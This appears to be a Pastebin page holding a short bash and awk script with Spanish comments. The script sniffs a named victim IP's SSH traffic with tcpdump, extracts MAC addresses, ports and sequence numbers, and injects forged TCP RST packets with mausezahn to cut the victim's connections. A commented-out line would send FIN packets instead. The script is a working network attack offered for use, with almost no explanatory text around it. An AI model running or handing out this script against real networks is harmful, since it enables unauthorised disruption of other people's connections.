Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # script by
- # __ __ _ __
- # | \/ | ___ _ __ ___| |_ ___ _ __ ___ / _|
- # | |\/| |/ _ \| '_ \/ __| __/ _ \ '__| / _ \| |_
- # | | | | (_) | | | \__ \ || __/ | | (_) | _|
- # |_| |_|\___/|_| |_|___/\__\___|_| \___/|_|
- #
- #
- # ___ ___ ___ | | _(_) ___ ___
- # / __/ _ \ / _ \| |/ / |/ _ \/ __|
- # | (_| (_) | (_) | <| | __/\__ \
- # \___\___/ \___/|_|\_\_|\___||___/
- #
- #!/bin/bash
- #
- # sniffer on
- # ip victima filtro para localizar paquete conexion
- tcpdump -i wlan0 host 192.168.1.190 and port 22 and -S -n -e -l "tcp[13] & 16 == 16" | awk '{
- CONVFMT="%u";
- srand();
- #recogemos las variables de la salida tcpdump
- dst_mac = $2;
- src_mac = $4;
- split($12, dst, ".");
- split($10, src, ".");
- src_ip = src[1]"."src[2]"."src[3]"."src[4];
- dst_ip = dst[1]"."dst[2]"."dst[3]"."dst[4];
- src_port = substr(src[5], 1, length(src[5]));
- dst_port = substr(dst[5], 1, length(dst[5])-1);
- #recogemos el ack y seq number para poder mandar paquetes licitos
- seq_num = $16 ;
- ack_num = $18;
- #secuencia server +32,259,713,1864,2181,2815,2136,2498,3222
- #le pasamos la informacion a mausehn
- # exec_string2= "mz wlan0 -c 2 -A "src_ip" -B " dst_ip " -a "dst_mac" -b "src_mac" -t tcp \" flags=fin, win=0, dp=" src_port ", s="ack_num " sp="dst_port" \" " ;
- exec_string= "mz wlan0 -c 1 -A "dst_ip" -B " src_ip " -a "src_mac" -b "dst_mac" -t tcp \" flags=rst, win=0, dp=" src_port ", s="ack_num " sp="dst_port" \" " ;
- # muestra informacion Debug.. input vs. output
- #print "[in] "$2 " "$3" "$4" "$5" "$6" "$7" "$8" "$9" "$10" "$11" "$12 ""$13""$14""$15 " " $16" " $17" "$18 " "$19;
- #print "[out server] "exec_string;
- #print "[out client] "exec_string2;
- # Injectamos los paquetes con Mausehn
- system(exec_string);
- # system(exec_string2);
- }'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement